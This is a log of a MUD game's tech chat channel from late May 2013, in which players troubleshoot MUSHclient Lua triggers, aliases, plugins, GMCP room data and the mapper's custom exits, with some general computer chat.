T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: Do i do Send("xxx") ?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: No, just the name of the function
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: or Execute("xxx")
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: either will send a command to the mud
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: when i put just the name, it gave me a compiling error
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: what error?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: Blotdot: on Windows command telnet, you'd first use ctrl-] to drop into the telnet interface, then you'd type "set localecho", then you'd hit enter a couple times to get back to the game.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: [string "Trigger: Health"]:3: '=' expected near 'Note'
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: are you sure that it's a command that you're supposed to be entering?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: you can't just randomly use commands from scriptfiles
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay that means 3rd line, could you post that so we can see what we are dealing with?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: Then that's an error in the third line of your "send" box
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: if it's from a plugin, then it may not exist outside the scope of the plugin, and would need to use a callplugin
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: hes making a standalone trigger
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i think....
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: ah the command i want to pull is from a plugin
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: no, he's trying to use something that's from another script, not a standalne trigger
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: Is it an alias in the plugin, or a function in the plugin?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: if it's an alias in the other plugin, just do Execute("blah")
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: or just send to execute
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Newchange Tech: I'm pretty sure he means a function no
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: I'm not sure what it is, but it tells me how many potions I have left.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Leinei Tech: Is it something you can type in the command line?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: Actually Execute works
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: Awesome stuff
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Newchange Tech: ah okay lol
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: Thanks a bunch.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: Very new to mush, feel like such a noob considering i use to be so good at zmud :(
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: its okay, we all start somewhere
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: if it's an alias in the plugin, and you wanted to use it in a trigger of your own, then just type the alias itself, and use the drop-down to set the trigger itself to execute...no reason to set it to script and then use Execute()
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: is there a way to get unique room ids for each room?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Sure, it comes through in GMCP room.info
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: GMCP?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: What client are you using?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Well I'm out, but help GMCP has links to the wiki, which give the basics on how to interact with GMCP.  Also finger me for some plugins which use it in mush.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Rondel Tech: fingered you and saw no links??
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Oops
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: copy and paste error on web must have broken that :P
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Good thing I have an alias to reset it :)
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: i don't have wiki access here but I will look at gmcp at home. I use mushclient and already have some plugins that use invdetails
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: There are many other plugins, the wiki has the basics, Fiendish's plugins make extensive use of GMCP info, but they accomplish a lot so might be longer.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: i should look at the wiki but my work here has it all policy blocked and junk
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Rondel Tech: thank you
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: [string "Trigger: Damage"]:2: '=' expected near 'EnableTrigger'
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: what am I doing wrong
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: anyone?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: you're missing an =
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: where
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Ayasinda Tech: in like 2 near EnableTrigger
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: EnableTrigger("Damage",false)
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: where do i put the =
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Ayasinda Tech: line
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: its before that line then
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: theres nothing wrong with that particular line
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: ah okay got it
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: what language is this btw Tymas
T3/r7/2013-05-29.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: lua?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tymas Tech: ya
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: im answering based on it being lua so i hope so
T3/r7/2013-05-29.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: ancient scripting language of lore
T3/r7/2013-05-29.txt.gz:{chan ch=tech}A Piece Of Herodotus Tech: I keep it close to my heart
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: nah lua is great for embedded systems. now python thats ancient
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Vonliege Tech: I with Aardmush had more hot keys besides the 16(+CTRL) on the numberpad
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Doc Holliday Tech: anyone built a mame arcade?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Vonliege Tech: all the sudden, I'm getting an extra line when I use the 'goto' shortcut for S&D... I generally only get "goto_number: 1", now I am getting that AND "xmapper move -1"... and a message that says "Sorry Vonliege, you can't do that."... what have I goofed up on?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: anyone using Aardwolf_Inventory_v3.xml plugin? I can't seem to get it to work
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: have you tried using bast's inventory plugin?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: where can I find that
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: the plugin you're trying to use was just created by Gammon as a "here's an example of how miniwindows can be made" and was never finished
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: no it worked in 2008
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: finger bast for his site...he has a lot of handy plugins
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: yes, it did work, but it was never finished or really released
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: do i need to install all of these plugins for bast's stuff? there's a lot here and its all in one zip
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: you need to put the entire folder into plugins, but you only need to install what you actually want
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: what about the lua scripts should those go in the lua folder?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: or as a subfolder in plugins
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: the entire folder goes into plugins
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: don't touch the folder other than to do that
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: ok here goes nothing
T3/r7/2013-05-29.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: man i really miss scripting think i might get back into it.
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tynrael Tech: can the ASCII map be exposed to scripting?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: abe you released anything interesting this year?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: it's as "exposed" as you need
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: the ascii map is sent from the MUD, enclosed in script-readable tags
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: nah, nothing neat from me in a while...my tf has been pretty well-configured for many years, and the only MUSHclient stuff I put out is when people ask me to write something
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: I ported Ozzy's zmud script for seekers stats, now Remarto's running away with it for boot :-)
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: I should publicly fix the two issues he had with it for boot in my copy though...the first is that I only tested on one-word clanrank names, and the second is actually a bug in Aard
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: that bug being that roster and rank are inconsistent for people with weird name capitalization...StArLiGhT shows up that way in roster, but shows up as Starlight in ranks
T3/r7/2013-05-29.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: heh just found notes on an old project i never started for someone looks simple but fun :)
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: if you're feeling ambitious, you could convert my early MUSHclient scripts to use GMCP instead of statmon ;-)
T3/r7/2013-05-29.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: meh would probably end up like the last big project i started
T3/r7/2013-05-29.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: 3/4 through my system crashes and i lose it all 
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: heh
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: these would actually be quick'n'easy changes, I just never bothered cuz i don't think anyone uses those scripts anymore...the one that asked for them to be written stopped playing
T3/r7/2013-05-29.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: anyone else having major issues with windows7 updates trying to fry their systems?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: not that I know of...I decline and hide the IE10 update tho
T3/r7/2013-05-29.txt.gz:{chan ch=tech}The Dragon RandAlthor Tech: same but since micro started pushing 8 about every other week i have an update fail to configure and have to restore from a different reduntant drive
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: some of the stuff in bast's package conflicts with the existing aard plugins but im liking the inv/eq windows
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: nothing conflicts with the stock aard plugins
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Newchange Tech: when using mush mapper is there a quicker way to teach it to go through doors rather than using cexits
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tripphippie Tech: anyone familiar with bast's spellup plugin?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Bast Tech: I am familiar with it sometime
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: newchange: go to Fiendish's site, which is the homepage for the aard MUSHclient package (he maintains it), his wiki has lots of info on all the plugins...on the wiki page for the mapper, there's a link to a great guide written by Hosch
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Quadrapus Tech: Anyone know where i can find a detailed guide about tearing down a lenovo ideapad x1 carbon? friend wants to know and i can't find anything
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Book of Etzli Tech: Youtube doesn't have anything?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Does that guy's laptop tech repair manual site still work?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Nuanse Tech: google?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Here we go: http://www.tim.id.au/blog/tims-laptop-service-manuals/
T3/r7/2013-05-29.txt.gz:{chan ch=tech}[Deputy] Mokg Tech: the right half of my screen scrolls before the left. any ideas on whats causing this? makes things unreadable for a second while it does this
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Wildkard Tech: update video card drivers?
T3/r7/2013-05-29.txt.gz:{chan ch=tech}OMG It's Aleks Tech: wat
T3/r7/2013-05-29.txt.gz:{chan ch=tech}Tech: Wildkard points excitedly at [Deputy] Mokg!
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: easy problem, that I forgot the answer to
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: how do I switch around my command bar so that I type from the left to right again?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: some keyboard shortcut
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Smartass answer is look in a mirror as you type, but other than that, I can't recall.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: that IS a smart ass answer. :P 
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tech: Book of Etzli beams with pride.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: bah, this makes aard so hard to play. :P
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Vuron Tech: what command bar?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: the one you type into
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Vuron Tech: in your client?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: yeah
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: it's like ctrl+g or something super easy like that
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Book of Etzli Tech: So, hit ctrl+<all the letters>?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Book of Etzli Tech: Or ctrl+shift+<all the letters>?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tech: Wreck-It Roninleader pats Book of Etzli on his head.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Book of Etzli Tech: It's what I do. :p
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Jaenelle Tech: Anyone good with macros in word? ;)
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: is there anyway i can edit my search and destroy plugin pathing
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The pathing is done by the mapper, not SnD
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: i get so many not founds with that 
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: ahh ok is there anyway i can edit it?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Quite possibly the most complex, but coolest mathematically speaking, code in the aardmush repertoire
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: because instead of going east its trying to open east
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In that case, you set an incorrect cexit
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: how you set your exits 0_0
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You can delete it with 'mapper delete cexits' where that cexit starts. Mapper help for more info
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: cool
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: ok ty ill try it
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: yep fixed the problem
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: thanks
T3/r7/2013-05-30.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mapper help for any other mapper functions
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: ty
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Skgubza Tech: how q i
T3/r7/2013-05-30.txt.gz:{chan ch=tech}VampireDude Tech: is there a way to see the current temp of a android phone?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tech: VampireDude is thinking  maybe his lag is related to hardware issue
T3/r7/2013-05-30.txt.gz:{chan ch=tech}<SneakY> Slyzora Tech: no lag on my bb
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: apply phone directly to forehead to measure temperatures.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Seniseis Tech: some apps or some battery indicator apps does show the temperature
T3/r7/2013-05-30.txt.gz:{chan ch=tech}VampireDude Tech: ah cool ill go check the googleplay, thanks sene
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: Is there a command u can type instead of clicking "Go" on the S&D GUI?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: ah or click the link on the gui
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: ah target name
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: when i type that, it does nothing, just says you seem unable to hunt that target for some reason.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: that means its the right one and you gotta do the hunt trick
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: or start walking around.. which iws waht i ended up doing.. faerie tales rough
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ah, the good old times where people wrote their own bots...
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: bot? isnt that something that does something for you
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: you must have that scripted to say that not the first itme i heard it lol
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: so i can't use a command? I have to click on the hyperlink?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i like to point it out every time someone has problems with complex scripts they didn't write themselves :P
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: type ww help
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: ah citizen says it'll walk towards the citizen..but i think that is only for non-campaign/non-quest mobs
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: When I click "Go", what command is it exactly executing?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: id say check his wiki but there's not much.. its just a go.. its going to the logged room wher ethe mob should be or something
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: it seems to work best after you walk all over
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: like i solved my issue in faerie tales but filling up my automap screen and explore it all
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Kagaho Tech: then i zoomed right through them
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: About cexit- you have to manually cexit every door?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Ayasinda Tech: yes
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: Are there any glitches like if you walk manually through an already opened cexit door while walking around manually, does the mapper walk through the door (even if you've added cexit for it) when you try to goto it some time later?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Ayasinda Tech: nope
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: Thanks :)
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Scars Tech: and, better still, when using the mapper, custom exits take priority over other forms of movement
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Scars Tech: i think its that kind of code that allows you to take the most direct route regardless of where you are at
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Scars Tech: the most annoying thing i have yet to bother to deal with is setting up a "recall didn't work, so try using a portal" type thing
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Scars Tech: but thats out of laziness far, far, far more than inability to do such a thing
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Mapper handles that natively in later versions
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: Sorry I'm new- you guys use mapper to get back to Aylor?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I use ` as a 'go to recall' alias myself
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: That's just a garbagecan alias or is it something catch-all?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Well, it began life as a garbage can alias, but got a bit more robust
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Newchange Tech: LOL that's a charming way to say it
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: How do I get a trigger to run for example if I type Note "test" Send will be "works"
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: using lua..
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: werent u the guy who was asking what a finch was
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: Anybody good with mush/lua? i have a question
T3/r7/2013-05-30.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I'm ok, quite a few are, better to just ask the question!
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: Okay so for example if I want to set a trigger..say for example: Note "Test" (a script version of test will appear), how do i trigger off that scripted version of "Test"
T3/r7/2013-05-30.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: http://code.google.com/p/aardwolfclientpackage/wiki/Triggers
T3/r7/2013-05-30.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Have you looked at that page yet?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: I'm looking..but don't know where to find the script activating trigger part
T3/r7/2013-05-30.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: When you are creating the trigger, on the drop down where it says send to: chose script.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: Ahh
T3/r7/2013-05-30.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: Well usually I'd write, Note("It worked!"), not test, but you get hte point...
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: that doesn't answer my question actually
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: In mushclient is there any way to trigger off a Note displayed from another plugin or trigger?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: In mushclient is there any way to trigger off a Note displayed from another plugin or trigger?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Not without editing the source plugin
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: PluginBroadcast is what you are looking for
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: what does pluginbroadcast do
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: broadcasts from one plugin to another
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Google it mate :P
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: MC has a very well documented API reference both inside the client and at mushclient.com
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: What if I don't want to broadcast from one plugin to another? i want it to work with a trigger
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That being said, the use of PluginBroadcast requires some rather solid knowledge of Lua, and the way Mushclient handles plugins, and I wouldn't recommend it for an early project
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You cannot trigger off a Note(), MC has built in functionality to prevent that. The easiest way would be to edit the plugin and change Note() to Send("echo "..foobar) then you can trigger off it.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: Hmm
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Tymas Tech: Okay that helps
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: PluginBroadcast, send echo, and GetPluginVariable ("", <varname>) are the only ways to communicate between plugins that do not require the use of external files.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: how do i make a note with mush client for a area im in?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mapper addnote <foobar>
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That's per-room, don't know that there's a per-area methodology implemented.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: there is not
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: i think you can
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: SnD possibly, but not native
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: someone showed me how before
T3/r7/2013-05-30.txt.gz:{chan ch=tech}[Outlaw] Mendaloth Tech: I think there is a way to display only notes in an area isn't there?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: to make a note with mush client i cant remember 
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I told you how to make a note.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: not with the mapper
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: because thats just for the room
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Then what are you talking about?
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: i want information whereever i am in the area
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Then it is with SnD or Bast or some other plugin, because the rest of Mushclient doesn't even know what an area is
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That's a mapper note, dude
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: no man
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: like i alias it to knossos for example then i type my note and every time i type knossos my note shows up
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: do u get what im saying
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Note()
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: That has nothing at all to do with areas, and everything to do with aliases...
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: In your alias, change the "Send to" to "script" and then do Note("Foobar about Knossos")
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: uh 
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: im lost
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: It really helps if you ask what you're really looking to get an answer for, though :P
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: i dont understand what you mean
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: oh i remember now
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: shift_alt_9 -> new -> match: knossos -> send: Note("Something about knossos") -> send_to: script -> ok
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: i want it to echo to me when i type the keyword
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: it doesnt work....
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Because that's detailed enough to help you debug it...
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: what
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: debug what
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Details mang, give us details.
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: ok ill start again
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: You said it doesn't work, that doesn't tell us anything. What doesn't work, what errors/messages are you getting, etc
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: i want to echo a message to my self everytime i type the keyword
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: That part I know already, what isn't working...
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: oh
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What Cheezburger wrote was the *exact* set of steps to achieve what you want...
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: Compile error World: Aardwolf Immediate execution [string "Alias: "]:1: '=' expected near 'the'
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Copy/paste the 1st line from your alias please
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: kill the eight-armed skeleton, give the belt to the wounded
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: In the send box, there must be > Note("some stuff") and NOTHING else. Somewhere you wrote 'the' without anything wrapping it...
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Note("Kill the eight-armed skeleton, give the belt to the wounded")
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: ahh
T3/r7/2013-05-30.txt.gz:{chan ch=tech}Sgurbuz Tech: let me try again
